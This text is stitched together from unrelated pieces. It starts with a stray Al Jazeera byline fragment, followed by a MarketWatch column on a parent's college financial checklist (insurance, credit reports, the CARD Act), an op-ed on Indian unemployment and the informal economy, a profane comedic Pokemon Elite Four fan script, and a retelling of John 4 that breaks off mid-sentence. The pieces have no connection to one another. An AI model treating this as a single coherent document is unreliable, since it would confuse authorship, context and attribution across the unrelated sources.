previously appeared on Foreign Policy Matters.  Follow MJ Roseberg on Twitter @MJayRosenberg  The views expressed in this article are the author's own and do not necessarily reflect Al Jazeera's editorial policy.
-BOSTON (MarketWatch) -- My oldest daughter leaves for college in a few weeks, so she is in the process of making her lists for what to bring, what to buy and what to do before she takes the next big step.  I'm making a similar list of all of the things I need to say to her, and all of the financial chores that need doing before she heads off to school.  Truth be told, almost every adult I know has some financial horror story that they lived through during their college years. In many cases, the horror only became apparent years later, when they were trying to start a family but were still paying off the excesses of college life.  Accordingly, long before my daughter started the process of picking a school, my wife and I tried to establish the ground rules -- the costs we plan to pay for and the things we expect her to cover. The basic decision of who pays for what typically is based on the family's circumstances, rather than on some magic formula.  My daughter has bought her own movie and theater tickets for years, so she's not suddenly expecting me to pick up the tab on entertainment costs. Likewise, she knows that if the family is paying for a meal plan -- and we are -- it's not our responsibility if she decides to enjoy the local burger joint. And she's still on my cell-phone plan, though I'm still not paying for silly games or ridiculous ring tones.  Here are the three big things on my to-do list before my daughter heads for school:  1. Check with health- and dental insurance providers, to learn their rules.  Effective September 2010, as part of the health-care reform law, parents can keep children on their plan up to the age of 26. That makes it possible to use your own plan rather than using a college-sponsored plan.  Prior to the change in the law, college students often lost their coverage at age 19 (and my daughter turns 19 before her freshman year is over), or upon graduation from high school or college. The White House asked insurers to make sure there were no coverage gaps for new college students, so many companies are actually providing the extended coverage prior to the September start date, making sure that kids who go off to school in August don't face an unpleasant surprise.  That said, having a child on your health plan may not make the most sense. Some insurers won't allow for out of town doctor visits, or would require your student to pick a new primary-care physician in their college town, or don't extend prescription coverage beyond your home area.  Know the rules, so that you don't get stuck with surprise out-of-pocket expenses. Meanwhile, check with the college or university to see if it offers a plan for students, and what that protection actually covers. Compare both coverage and premiums, then let your child know what they need to consider if they have a health issue.  If your student is going to be responsible for their own medical coverage, you might suggest they find a job with benefits, although that can be an awful lot to ask of a full-time college student.  2. Check property insurance coverage.  I've always made my children responsible for breaking their own technology; I'm not replacing the cell phone you dropped in the toilet.  That said, I want to know which of my kid's items might be covered on my property insurance so I can decide if renter's insurance is worth buying. To know, I will also have to get an idea of just what items my daughter is bringing to school.  Find out if the school has a policy that covers casualty losses in the dorms. Most don't, but some help students establish an insurance plan that covers their dorm room, a car (if they bring one) and health care.  3. Check the credit report.  Consumers are allowed one free credit report from each of the major credit bureaus every year. This is a case where a review at the beginning, middle and end of the school year makes sense. (You can get your free report online at www.annualcreditreport.com, the official site established by the credit bureaus to comply with the law.)  With my daughter, I'm not expecting to find much there. Still, I want to know she starts with a clean record and I'd like to be aware of changes -- if she comes to me for any credit counseling -- over time.  The good news here is that the Credit Card Accountability, Responsibility and Disclosure (CARD) Act that went into place last year prohibits applicants younger than 21 from obtaining a credit card unless they can prove they have the financial means to pay the bills. That means they'll need a pay stub or a bank statement; it's not as simple as walking across the college common, and signing up with some slick salesperson giving away free t-shirts and balloons.  To begin building a credit record for your child, or to give a card that can be used for emergencies or books or whatever expenses you and your kid agree to, you will have to co-sign for a credit card.  That said, if you co-sign your child's card, you are jointly liable and your own credit might suffer if your child doesn't pay the bill on time. This is why some parents will get a card where the bill comes to the family home rather than the dorm room.  Still, this is the time to set clear expectations. It's why my daughter and I need to have that talk before she heads off to school, because she needs to know that I don't want to be on the hook for any bad decisions.  I think she knows that "I'm dying for pizza" does not constitute my idea of an emergency, but she's a teenager, and I'm not leaving anything to chance.
-A million Indians enter the workforce every month, or about half the population of Australia every year. This is India’s ‘demographic dividend’. These youths are supposed to find jobs, earn, save and spend, a process that would pull millions of Indians out of poverty. At least, that is the story that we have been sold over the years. But the theory is not translating into practice.  Consider this: land-owning communities across large parts of the country have been on the streets, protesting, over the last three years. This includes the Marathas of Maharashtra, the Jats of Haryana, the Kapus of Andhra Pradesh and the Patidar Patels of Gujarat.  Why is this happening? The average size of the land farmed by the Indian farmer has fallen over the decades and in 2010-2011, the last time the agriculture census was carried out, stood at 1.16 hectares. In 1970-71, it was 2.82 hectares. This has happened because of the division of land across generations. This fall in farm size has made farming an unviable activity in many parts of the country. That’s why the land-owning castes across the country now want non-farm jobs, and have been protesting for quotas in government jobs.  The trouble is, though, the government does not create jobs anymore. In fact, between January 2006 and January 2014, the number of central government employees went up by just 30,000. Worse, the total number of people working for the public-sector enterprises has actually fallen over the years.  Only three out of five individuals who are looking for a job all through the year are able to find one. In rural India, only one out of two individuals who are looking for a job all through the year is able to find one. This has been the state of things since 2013-14.  What’s more, Indian industry favours expansion through capital, that is, buying more machines and equipment and putting them to work, rather than recruiting more people.  Nikhil Gupta and Madhurima Chowdhury, analysts at Motilal Oswal, have studied data up to 2014-2015 from the Annual Survey of Industries, and based on it conclude that over a period of 35 years up to 2014-2015, the rate of employment in Indian industry has on average increased at just 1.9% a year. In comparison, the capital employed by industry has grown at 14% a year.  Clearly, capital has won the race hands down. Or, in other words, when it comes to Indian industry, machine has won over man, for a while now. Indian corporates like the idea of expanding production and, in the process, their business by installing new machines and equipment, rather than employing more people.  One of the reasons for this is the large number of labour laws that Indian firms need to follow. As economists Jagdish Bhagwati and Arvind Panagariya wrote in India’s Tryst with Destiny: “The costs due to labour legislations rise progressively in discrete steps at seven, 10, 20, 50 and 100 workers. As the firm size rises from six regular workers towards 100, at no point between the two thresholds is the saving in manufacturing costs sufficiently large to pay for the extra costs of satisfying these laws.”  The National Manufacturing Policy of 2011 estimated that, on an average, a manufacturing unit needed to comply with 70 laws and regulations. At the same time, these units sometimes need to file as many as 100 returns a year. This basically ensures that an average Indian firm starts small and continues to remain small. In the process, jobs aren’t created. This is reflected in the fact that close to 85% of Indian apparel firms employ fewer than eight people. As per an Economic Survey estimate, close to 24 jobs can be created in this sector for every Rs 1 lakh in investment. Despite this, firms in this sector continue to remain small.  These are essentially big structural issues, which have been around for a while. But in the recent past, Prime Minister Narendra Modi’s demonetisation, which overnight made 86.4% of the currency in circulation useless, ended up destroying many firms operating in the informal sector. The Goods and Services Tax has now added to this.  These days, the presence of the informal sector is seen as a bad thing because it doesn’t pay its share of taxes to the government. This isn’t totally true. People who work for these firms do spend the money they earn and pay their share of indirect taxes. Also, as the Economic Survey of 2015-2016 pointed out: “The informal sector should… be credited with creating jobs and keeping unemployment low.”  As economist Jim Walker of Asianomics wrote in a research note sometime back: “There is nothing intrinsic that says that the informal economy is a less effective or beneficial source of activity than the formal economy.” This is something that the Modi government needs to understand.  In its quest to collect more taxes, it is working towards destroying large parts of the informal economy, which is a huge part of the Indian economy. Ritika Mankar Mukherjee and Sumit Shekhar of Ambit Capital wrote in a research note: “India’s informal sector is large and labour-intensive. The informal sector accounts for nearly 40% of India’s GDP and employs close to 75% of the Indian labour force.”  This is something the government needs to remember in its bid to forcibly formalise the Indian economy.  (Vivek Kaul is the author of India’s Big Government — The Intrusive State and How It is Hurting Us).
-Inside the Indigo Plateau Pokemon League building. PSEUDO stands at the front desk.  RECEPTIONIST: Are you a boy or a girl?  PSEUDO: Boy.  RECEPTIONIST: And what is your name?  PSEUDO: Pseudo.  RECEPTIONIST: Would you like to rate your service in this survey?  PSEUDO leaves the front desk. The RECEPTIONIST calls after him.  RECEPTIONIST: Thank you for registering for the Elite Four challenge!  PSEUDO looks around the room. There are groups of people with microphones and cameras, talking animatedly about something.  PSEUDO: Is that a literal camera crew?  CECIL: Likely preparing for the next challenge.  VERNE: People sure love to see a good Pokemon battle.  ROD: And we’re gonna give ‘em one.  JASON: Gonna give them a few.  PSEUDO stops at the shop corner.  The CLERK stares, amazed, as PSEUDO piles an armful of Hyper Potions onto the desk.  CLERK: Okay, that’ll be-  PSEUDO leaves the desk and returns with another armful of Hyper Potions.  CLERK: Uh… that’ll-  PSEUDO leaves the desk and returns with another armful of Hyper Potions.  Then another.  Then an armful of Full Restores.  And another.  And another.  And two more of Full Heals.  And one more of Hyper Potions.  The CLERK looks between the pile on the counter and PSEUDO, who is staring expectantly.  CLERK: … that’ll be… a lot…  PSEUDO flashes his Trainer Card - in the currency section, instead of a monetary value, is the word “$HITLOAD$”.  PSEUDO: Bought like two things since I left Pallet Town.  CLERK: I don’t have the context for that - can you carry all this?  Later, his bag filled with items, PSEUDO crosses the room to the waiting area and sits. He looks across at the camera crews, who are starting to eye him.  ORBIT: Looks like you’re on the radar.  PSEUDO: Good. If they’d happy to broadcast Gary’s dirty little face across Kanto, I must be a dream come true.  CECIL: Anyone else feeling terrified and excited?  WARP: Not feeling as such would be strange.  VERNE: I’m ready.  ROD: Me too.  JASON: Same.  CECIL: And me.  WARP: Of course.  PSEUDO: Orbit? You ready to kick us off?  ORBIT hesitates, a little unsure, but decides.  CECIL: Definitely.  Ahead of them, a pair of guards open the double doors to the next room.  GUARDS: The Elite Four awaits! Challenger Pseudo is permitted to enter!  The camera crews scramble to gather their equipment and hurry through media access passages. PSEUDO watches them go, waiting for them to get there in time to capture his moment.  PSEUDO: Today’s my day.  PSEUDO holds ORBIT’s Pokeball and passes through the doors.  The Elite Four gauntlet. PSEUDO walks down a hallway lined with blue tiling and bright blue lighting.  PSEUDO: Could get used to this.  The hallway opens into a room lined with ice pillars. The temperature immediately drops and PSEUDO’s breath is visible in the air, as is a thin layer of mist along the ground.  In the center of the room, a red-headed woman in glasses and a skirt surveys PSEUDO.  LORELEI: Welcome to the Pokemon League.  PSEUDO: Thanks! You’re not wearing enough clothing for this room.  LORELEI: I am Lorelei of the Elite Four! No-one can best me when it comes to Ice Pokemon.  PSEUDO: Lucky I brought an Electric-type.  LORELEI raises an eyebrow and a Pokeball.  LORELEI: Your Pokemon will be at my mercy when they are frozen solid!  PSEUDO holds out ORBIT’s Pokeball, mirroring LORELEI. A superior smile plays upon her face.  LORELEI: Are you ready, Challenger?  PSEUDO: As I’ll ever be!  Elite Four Challenge - PSEUDO Vs. LORELEI  LORELEI releases DEWGONG as PSEUDO releases ORBIT.  LORELEI: Hail!  Part of the mist on the ground is lifted into the air, creating a swirling mass of clouds above the trainers. Hail begins to drop on the battlefield.  PSEUDO: Orbit! Shock Tactic!  ORBIT understands the code. It starts sparking and rams against DEWGONG, dealing a great amount of damage with Spark. Hail falls against ORBIT but it tries to ignore the damage. DEWGONG uses Ice Beam but only deals some damage to ORBIT - who quickly uses Shock Wave. DEWGONG is shocked with more electricity and falls - KO!  LORELEI: Lapras, use Confuse Ray!  LORELEI releases LAPRAS. ORBIT is hit with a Confuse Ray and becomes confused.  PSEUDO: Come on, Orbit, focus!  ORBIT struggles to see straight. It rolls around a little in its confusion - then strikes with a mighty Thunder, cracking down from the clouds above to defeat LAPRAS - KO!  LORELEI: Slowbro - attack while it’s confused!  LORELEI releases SLOWBRO. She prepares to attack - but is surprised by something.  ORBIT has been replaced with JASON.  PSEUDO: He needed a break.  The excited JASON leaps at SLOWBRO with Bite, taking the part-Psychic type down easily - KO!  LORELEI grits her teeth and releases CLOYSTER. PSEUDO returns JASON and brings ORBIT back out, now free of confusion.  ORBIT uses Thunder straight out of the Pokeball, bringing down CLOYSTER in one hit - KO!  LORELEI throws out her last Pokemon - a JYNX.  LORELEI: Ice Punch!  PSEUDO: Thunder!  ORBIT moves first with Thunder, bringing down a bolt of lighting - that JYNX dodges! JYNX darts across the field and lands an Ice Punch into ORBIT.  PSEUDO: Whoa-!  JYNX stumbles. Signs of electrical disturbance sputter around her.  PSEUDO: Hah! Orbit’s Contact paralyzed her!  LORELEI: That won’t help you one bit!  ORBIT tries Spark, hitting JYNX and damaging her a bit.  LORELEI: Jynx - Lovely Kiss!  ORBIT is hit with Lovely Kiss. Its eyes close as it quickly falls asleep.  PSEUDO: Oh, boy.  PSEUDO takes the opportunity to spray ORBIT with a Hyper Potion.  LORELEI: Take him out.  JYNX pounds ORBIT with another Ice Punch. PSEUDO wakes ORBIT up with a Full Heal.  ORBIT uses another Spark, almost defeating JYNX - but is put to sleep by another Lovely Kiss.  PSEUDO uses a Full Restore on ORBIT.  PSEUDO: Haha, now we’re-  LORELEI uses a Full Restore on JYNX.  PSEUDO: Oh, for fuck’s sake-  ORBIT uses Thunder but misses. JYNX uses Lovely Kiss again. PSEUDO wakes ORBIT up with a Full Heal just in time to get Ice Punched again.  PSEUDO: Come on, Orbit, just one good hit-!  ORBIT gathers its energy and uses Thunder again. Lightning strikes from the clouds down to the battlefield below - hitting JYNX for a critical hit! JYNX finally falls - KO!  PSEUDO wins!  PSEUDO: Yes! Round one done!  ORBIT: We did it!  LORELEI adjusts her glasses.  LORELEI: Alas, Challenger, for I… you’re better than I thought!  LORELEI steps aside. The door to the next hallway opens behind her.  LORELEI: Go on ahead - but be warned, you’ve only got a taste of the League’s power.  PSEUDO: Tastes like victory.  LORELEI: Aren’t you the little smart alec.  PSEUDO gives LORELEI a cheeky grin as he ambles through to the next hallway, which is is tiled yellow, lined with yellow light.  The next room is similar to the first, though where there was blue there is yellow, and where there were pillars of ice there are pillars of stone.  BRUNO: So, you’ve beaten Lorelei!  In the middle of the room, PSEUDO watches a large, muscled, shirtless man stand up and face him.  PSEUDO: (monotone) Oh my god.  BRUNO stands with his hands on his hips, his chest puffed out - the very image of manly dominance.  BRUNO: I am Bruno of the Elite Four!  PSEUDO: You’re kidding.  BRUNO: Through rigorous training, people and Pokémon can become stronger without limit-  PSEUDO: (judgmentally) The muscles.  BRUNO: I’ve lived and trained with my Fighting Pokémon!  PSEUDO: The drive.  BRUNO: And that will never change-!  PSEUDO: The hypermasculinity.  BRUNO: (annoyed) What are you saying?  PSEUDO: That I’ve never seen a more heterosexual man in my fucking life.  BRUNO: I don’t understand.  PSEUDO: Nothing - is your beltline torn off?  BRUNO: Silence!  PSEUDO: Did you belt a ripped onesie for the goddamn aesthetic-  BRUNO holds out an oversized Pokeball.  BRUNO: We will grind you down with our superior power!  PSEUDO sputters in laughter.  PSEUDO: You’re kidding! You can’t be serious, you-  BRUNO: Onix!  BRUNO releases ONIX.  PSEUDO: Fine, but holy shit, dude.  PSEUDO releases CECIL.  Elite Four Challenge - PSEUDO Vs. BRUNO  BRUNO: Rock Tomb!  PSEUDO: Surf!  ONIX attempts to entomb CECIL but the rocks are washed away by the Surf - ONIX is slammed against the wall. KO!  BRUNO: A single hit!?  BRUNO takes out another oversized Pokeball and releases HITMONCHAN.  BRUNO: Hitmonchan!  CECIL: That’s your cue, Warp.  CECIL returns as WARP is released. He steps lightly, watching HITMONCHAN closely.  BRUNO: Take him out!  HITMONCHAN throws a punch but WARP holds up a spoon. HITMONCHAN’s fist stops just before it makes contact, being held back by psychic energy. HITMONCHAN pushes, trying to get past the wall, getting closer to attacking WARP…  PSEUDO: Warp, no playing around this time.  WARP: Ah.  HITMONCHAN is blasted backwards with the force of WARP’s Psychic pulse. He hits the wall in the same place ONIX did - KO!  BRUNO releases HITMONLEE.  BRUNO: Hitmonlee, Mega Kick!  HITMONLEE springs across the room but WARP waves a hand and casts him aside, immediately KO'ing him.  BRUNO: What? No! Onix, get him!  PSEUDO: Another one?  ONIX is released. It crashes into the ground, immediately using Earthquake.  PSEUDO: Earthquake…  WARP, however, is fine. The ground around him rumbles and breaks but where the floor begins to dip, he remains in the air. Rocks crash around him but those that would make contact instead begin to glow and float around him.  ONIX, wary, watches the display. It raises its tail to-  WARP raises his hands. The rocks shoot across the room and pelt ONIX - before it can react, WARP already has it in the air. ONIX is spun around like a rotor and crashes into the ceiling - KO!  BRUNO: Machamp! Use-  MACHAMP is barely released before WARP has him targeted. WARP holds him in the air. MACHAMP’s body begins to spin and shake, as it were being pushed and pulled in every direction at once. It tries to escape, but WARP has him. WARP holds up his spoon and points - MACHAMP is launched like a bullet into the wall - KO!  PSEUDO wins!  PSEUDO: Victoryyyyyy!  WARP: Fantastic!  BRUNO squeezes his fists in frustration. His entire body flexes.  BRUNO: (defeatedly) Rgh… my job is done. Go face your next challenge.  PSEUDO: Cheers, guy.  PSEUDO passes BRUNO, but stops beside him.  PSEUDO: One more question, Bruno.  BRUNO: Yes?  PSEUDO: … what does it take to be a real man?  BRUNO looks to PSEUDO and gives a proud, knowing smile.  BRUNO: A real man is one who trains with pride, a man who’s strength is matched only by-  PSEUDO: (prettily) Trick question, you’re in a prison, wear pink once in a while.  PSEUDO skips away from BRUNO, who is left stunned.  PSEUDO hurries back.  PSEUDO: Just gonna-  PSEUDO runs a hand down BRUNO’s arm.  PSEDUO: Incredible. Thanks, Brun’.  PSEUDO leaves the room. BRUNO looks after him, still confused.  The third hallway is lined with purple, giving it an eerie vibe.  PSEUDO: Oh, okay, we’re getting edgy now.  The third room is coloured purple, surprising no-one. The pillars lining the room are stone memorials.  In the center, an older woman with an apron and cane stands.  AGATHA: I am Agatha of the Elite Four.  PSEUDO: Woah, you’re kinda ol-you know what, you look lovely.  AGATHA: I hear Oak’s taken a lot of interest in you, child.  PSEUDO: (lighting up) Oh, how do you know Oak?  AGATHA: That old duff was once tough and hansome-  PSEUDO: (recoiling) I no longer want to know how you know Oak.  AGATHA: - but now he’s a shadow of his former self. Now all he wants to do is fiddle with his Pokedex! Pokemon aren’t for collecting! They’re for battling!  PSEUDO: Are you a fucking Rocket grunt?  AGATHA: I’ll show you how a real trainer battles!  PSEUDO: What, with a villainous backstory?  AGATHA throws a Pokeball, releasing GENGAR. PSEUDO releases JASON.  JASON: To be fair, you’re not collecting Pokemon either, you’re using us to battle, too-  PSEUDO: Jason, don’t be that guy.  JASON laughs.  Elite Four Challenge - PSEUDO Vs. AGATHA!  AGATHA: Gengar! Double Team!  GENGAR splits into two forms of itself, grinning madly.  AGATHA: Hahaha! Now you must-  JASON Bites one of the GENGARs - the real one. It immediately falls - KO!  AGATHA: What?  PSEUDO: Can we not monologue through the fight, please? We’ve all got places to be.  AGATHA: Grr- Golbat, take her place!  PSEUDO: Warp, take this one!  JASON tags out for WARP as AGATHA releases her GOLBAT.  AGATHA: Use-  PSEUDO: Psybeam!  WARP emits a Psybeam from its forehead jewel straight into GOLBAT’s mouth. KO!  PSEUDO: Yeah, eat it!  AGATHA: Nng! Arbok, Iron Tail!  AGATHA releases ARBOK. It makes to swing its tail but WARP flicks it aside with Psychic. KO!  PSEUDO: You know these are all Poison-types, right?  AGATHA: What’s that supposed to mean?  PSEUDO: Your PR people are billing you as a Ghost-type trainer.  AGATHA: I have two Gengars and a Haunter!  PSEUDO: Woah. So diverse. My mistake.  AGATHA grits her teeth and releases another GENGAR. PSEUDO switches WARP out for JASON again.  JASON: Haven’t we been down this road before?  GENGAR sticks its tongue out. It pulls it back in to attack but JASON is too fast - he Bites it. The GENGAR shrieks and Flinches, giving JASON the opportunity to Bite it again, defeating it - KO!  AGATHA: Oh, you are a defiant one, aren’t you.  PSEUDO: This is what not being thirsty for Oak’s dick looks like.  AGATHA’s eyes widen in horrific offence. She throws her last Pokeball into the field.  AGATHA: Go, Haunter!  AGATHA’S HAUNTER is released, looking quite terrifying. AGATHA smirks.  AGATHA: You know what to do.  HAUNTER chuckles, its body growing larger in preparation to attack.  PSEUDO: Get it.  JASON Bites HAUNTER, doing a significant amount of damage - but not enough to defeat it.  JASON: Shit-  PSEUDO: Oh, boy-  HAUNTER’s energy spikes. It opens its hands and flashes its eyes, enacting its attack-!  HAUNTER uses Curse, cutting its own HP to zero.  PSEUDO and JASON stare. AGATHA’s lips are pursed.  PSEUDO: … did it just-  AGATHA: Obviously.  PSEUDO wins!  JASON: Huh. Well.  PSEUDO: A win’s a win?  JASON: Let’s go with that.  AGATHA is bitter.  AGATHA: Eurgh… you little maggot- you mock me, slander me and now you-  PSEUDO: Beat you fair and square? Don’t mind if I did.  PSEUDO goes to leave.  PSEUDO: By the way, having a tragic backstory explain your shitty beliefs doesn’t count if it’s about some guy not liking you.  AGATHA: We were colleagues, you presumptuous little shit.  PSEUDO: Oh my god, it was a joke, lady - (nicely) if you’re gonna be evil, don’t make it about someone else. Succumb to your own dark side. Corrupt your own damn self.  AGATHA: I’m not evil, I’m-  PSEDUO: (nicely) Agree to disagree, you heartless witch.  AGATHA: I hate you.  PSEDUO smiles serenely and goes to leave again.  PSEUDO: (quickly) Also, Pokemon aren’t for collecting or battling, they’re for friendship and lifelong bonding and all that stuff 'kay bye.  PSEUDO leaves. The fourth hallway is teal-coloured.  PSEUDO: We’re nearly there, guys - just one more member to go.  The fourth room is decorated with what look like huge dragon claws - or teeth. A caped man with dramatic hair stands in the center of the room.  LANCE: Ah! I’ve heard about you, Pseudo!  PSEUDO: Sweet.  LANCE: You can call me Lance the Dragon Trainer! I lead the Elite Four!  LANCE swishes his cape.  LANCE: You know that Dragons are mythical Pokemon?  PSEUDO has a flashback to the Legendary Birds and MEWTWO.  PSEUDO: (strained) Are they really?  LANCE: They’re hard to catch and but their powers are superior! They’re virtually indestructible!  PSEUDO: 'Indestructible’, okay, I’m sure that’s true.  LANCE: What’s that? You doubt our power?  PSEUDO: Isn’t Gary already the Champion? Haven’t you already been defeated-  LANCE: (dramatically) What this insolence?  PSEUDO: What’s what?  LANCE: The isole-  PSEUDO: (yelling) What?  LANCE: (yelling) I said what is this-  PSEUDO: I can’t hear over all the hot air escaping from your head.  LANCE: The scorn!  PSEUDO: The what?  LANCE: Enough!  LANCE lifts a Pokeball.  LANCE: Are you ready to lose? Your League challenge ends with me, Pseudo!  PSEUDO lifts his own.  PSEUDO: Nah.  Both trainers throw their Pokeballs into the field.  Elite Four Challenge - PSEUDO Vs. LANCE  LANCE releases GYARADOS, PSEUDO releases ORBIT.  GYARADOS arcs its body to attack - ORBIT tackles it with SPARK. GYARADOS is electrified and goes down immediately. KO!  PSEUDO: How challenging.  ORBIT chuckles.  LANCE: Well, then. Try out my Dragonair!  LANCE releases DRAGONAIR. It uncurls in the air and trills menacingly.  PSEUDO: Hmm, Dragon-types. Don’t have any Ice, don’t have any Dragon, resistant against most elements… guess I need a Wildcard.  PSEUDO brings ORBIT back and throws a Pokeball.  ROD is released.  ROD: Ye-heah, it’s Rod’s time!  LANCE: (laughing) A Raticate? You send a Raticate before the almighty dragons? What could you possibly do with-  ROD Hyper Fangs DRAGONAIR straight into submission - KO!  LANCE: What?  ROD: Eat a dick, Lance!  LANCE: Rgh- my second Dragonair - Thunder Wave!  DRAGONAIR is released. DRAGONAIR is Hyper Fanged. DRAGONAIR is KO’d.  ROD looks at LANCE with the smuggest expression possible.  LANCE: Come on! Oh, prepare, Pseudo… prepare for Dragonite!  LANCE throws another Pokeball - releasing DRAGONITE, who looms over the battlefield.  PSEUDO: Aw, he’s adorable!  LANCE: Wh- he is not adorable! He is a mighty dragon!  PSEUDO: (with a squeaky-high voice) But look at his little face!  ROD: Orbit, he’s part-Flying, get on this!  ROD tags out for ORBIT.  PSEUDO: Hey, I thought you wanted to-  ROD: I took down two of the leader of the Elite Four’s Pokemon without breaking a sweat, I’m good, man.  PSEUDO: Nice.  LANCE: Dragonite… Outrage.  DRAGONITE envelops itself in its powerful dragon energy - it thrashes into ORBIT, dealing quite a bit of damage.  PSEUDO: Orbit! Are you okay?  ORBIT: Rgh- I’m going to end this-!  ORBIT charges an attack - Thunder. DRAGONITE is struck by a powerful bolt of lightning… but survives.  ORBIT: What?  PSEUDO: No-!  ORBIT: But it- it was-  DRAGONITE continues to attack, barreling into ORBIT. ORBIT is smashed away into the wall.  PSEUDO: Orbit!  ORBIT’s surface cracks. Its entire expression is frozen in place.  PSEUDO: What are- no, hold on - Orbit, what’s happening?  The crack spreads. From inside, a bright light is growing.  PSEUDO: Oh my god, no, no no-  A piece breaks away. The light inside explodes into the room. Sparks fly, electricity spills.  PSEUDO: Orbit…  The light fades. The sparks stop. What is left on the floor of the battlefield no longer has an expression.  PSEUDO: Orbit-!  WARP leaps out of his Pokeball, roaring in anger.  WARP uses Psychic on DRAGONITE, eliminating the rest of its HP. KO.  LANCE: Rrgh… your Pokemon are strong! Let’s see them take caare of this!  LANCE releases his final Pokemon - AERODACTYL.  WARP: Pseudo!  PSEDUO is forced to leave ORBIT.  PSEUDO: Ah… uh… Verne! Verne, switch out!  PSEUDO is only mid-sentence when VERNE emerges from his Pokeball.  LANCE: Have you ever seen an Aerodactly before? This Pokemon’s been extinct for a long time, I wouldn’t expect you to-!  PSEUDO: Let’s send it back.  VERNE uses Giga Drain, though it doesn’t harm AERODACTLY as much. AERODACTYL uses Wing Attack. VERNE uses Razor Leaf.  VERNE: We’re whittling him down!  LANCE uses a Full Restore.  PSEUDO: Fuck your entire life.  VERNE and AERODACTYL continue trading attacks. VERNE uses Vine Whip. AERODACTLY uses Wing Attack. VERNE uses Razor Leaf. AERODACTYL uses Wing Attack.  VERNE uses Giga Drain. LANCE uses another Full Restore.  PSEUDO: Argh, come on!  Razor Leaf. Wing Attack. Giga Drain. Wing Attack.  VERNE uses Giga Drain, depleting AERODACTYL of almost all its HP.  PSEUDO: That’s it, Verne, he’s nearly gone! You can do it!  LANCE: Hehe… Aerodactyl!  PSEUDO anticipates a moment of horror just before it happens.  LANCE: … Hyper Beam!  PSEUDO: No…!  ROD: Verne!  AERODACTYL opens its mouth - an intense, powerful beam of energy blasts out at VERNE.  VERNE: Pseudo-?  It connects. VERNE is engulfed in the blast.  PSEUDO: NO! VERNE, NO!  AERODACTYL’s attack ends. The light disappears. Dust and residual light and energy take a moment to dissipate. PSEUDO watches, terrified.  The field clears. Surrounded by burn marks on the ground, is VERNE… barely even singed.  VERNE: (standing up) Not even a scratch!  VERNE took almost no damage. PSEUDO nearly falls over in relief.  PSEDUO: VERNE, HOLY FUCK-  VERNE lands a Razor Leaf on a surprised AERODACTYL, which falls - KO!  PSEUDO wins!  PSEUDO sprints at VERNE, embracing him.  PSEUDO: Holy shit, dude, that was so fucking scary-  VERNE: You’re telling me!  LANCE is surprised.  LANCE: I can’t believe my dragons lost to you…  LANCE points to PSEUDO, who rolls his eyes in expectation of another annoying quip.  LANCE: You… are a Pokemon Master!  PSEUDO blinks.  PSEUDO: What? Whoa…  VERNE: Nice work, Pseudo!  PSEUDO: Uh… thanks, Lance!  LANCE: I’d love to name you Champion here and now, but-  PSEUDO: (darkly) Gary Oak was here.  LANCE: Uh… yes. He beat the Elite Four before you, so HE is the real Pokemon League Champion-  PSEUDO: Not for long.  PSEUDO walks past LANCE.  LANCE: Good luck, Pseudo.  PSEUDO almost looks back, but remembers what’s there.  PSEUDO: … thanks, man.  RIP Orbit the Electrode, Lv65.  PSEUDO: (under his breath) Orbit… I’m sorry…  The final hallway - lined with red. It’s longer than the others and includes a staircase to a large set of ornate doors.  PSEUDO walks towards it, VERNE following behind him. His footsteps echo through the empty hall.  VERNE: … Pseudo?  PSEUDO: Yeah?  VERNE: I’m sorry about Orbit.  PSEUDO: … it’s okay.  VERNE: … he was my safety net, wasn’t he. For Light Screen.  PSEUDO: … yeah. Do you still want to-  VERNE: Yeah, I do. I have to. I just wanted to make sure you knew-  PSEUDO: Yeah.  ROD: Hey, you two!  ROD, JASON, CECIL and WARP leave their Pokeballs, landing on VERNE’s back.  ROD: Stop being so depressing!  JASON: Yeah! Fights can be hard -  CECIL: And dangerous.  JASON: - but they’re fun, too, y'know.  WARP: That’s why we continue to do it, after all.  CECIL: And we’ve got nothing to be scared of!  WARP: Gary Oak has nothing the likes of what we have.  ROD: Yeah, Gary Oak’s a little shit!  PSEUDO: (smiling) You guys…  VERNE: Hey, Pseudo. They’re right.  PSEUDO looks at his team, together in front of him.  ROD: We’re gonna win this, man. For Orbit… for Diana.  VERNE: For everyone.  PSEUDO: … you’re right. You all are.  PSEUDO turns to face the door. PSEUDO’s Pokemon return to their Pokeballs.  PSEUDO pushes the door open, stepping through to the final challenge.
-The Samaritans were the descendants of Israel’s northern kingdom who had intermarried with their Assyrian captors after they were carried off into exile in 722 BC. The Jews regarded the Samaritans as traitors who had exchanged the bloodline of Abraham in order to settle in a pagan land.  Jesus and his disciples came to the Samaritan village of Sychar at the hottest part of the day and stopped there to rest and eat. The disciples went into the village for food while Jesus stayed by the well outside of town. While he was there, a woman approached. That she came to the well during the hottest part of the day suggested she was a social outsider who had to get water when no one else was around. She was surprised to come upon this man and even more surprised when Jesus asked her for a drink.  “But you are a Jewish man and I am a Samaritan woman,” she said. “Why are you even talking to me?”  Jesus answered, “If you knew who it is that asks you for a drink, you would be asking me and I would be giving you living water.” (Jn 4:9-10)  The woman regarded Jesus for a moment as she processed what he said. Were they even talking about water anymore? She said, “Sir, you have nothing to draw with and this well is deep. How are you going to get that kind of water?”  With that, they were now deep in the pools of metaphor.  Pointing to the well, Jesus said, “Everyone who drinks this water will thirst again, but whoever drinks the water I give him will never thirst again. In fact, what I give will become a spring of water welling up to eternal life.”  She said, “Where can I get that water? My life is hard, and I’d love to be able to leave it behind.” (Jn 4:13-15)  Though she was talking about her daily midday trips to the well, her life was full of burdens greater than this. In her wake lay a slew of dead and broken relationships, and with them the pain they heaped upon her fragile frame. She put on a brave face to stand her ground and talk like this with Jesus, but he saw right through her.  “Go get your husband, and I’ll tell you all about this water,” Jesus said.  She said, “I don’t have one.” She knew he knew better than to imagine she was a married woman.  “I know,” Jesus told her. “You’ve had five husbands and the man you live with now is not one of them.”  This was such a personal, painful detail to come from the mouth of a stranger. He was correct, but what would he do with this revelation? Would he shame her? Abuse her? Take advantage of her?  To deflect the intimate light she’d just come under, she started asking Jesus questions about the differences between Jews and Samaritans—specifically about where God wanted his people to gather for worship. But Jesus didn’t begin this conversation so that they could talk about geography. He disarmed her in order to get to her heart through her wound.  He said, “Your people and my people argue about many things. A time is coming and in fact is now here when the true worshipers will worship the Father in spirit and truth. These are the kind of worshipers the Father seeks.” (Jn 4:24)  The woman said, “My whole life I’ve heard that the Messiah is coming and that when he comes, everything will be made plain.”  Jesus said, “Listen. I am he.” (Jn 4:25-26)  The woman was shaken. When she first encountered Jesus, she assumed nothing much would come of their meeting. She came from the wrong race, religion, gender, and moral reputation for anyone like Jesus to care. But in this moment, he hadn’t just shown kindness to her. He had exposed her 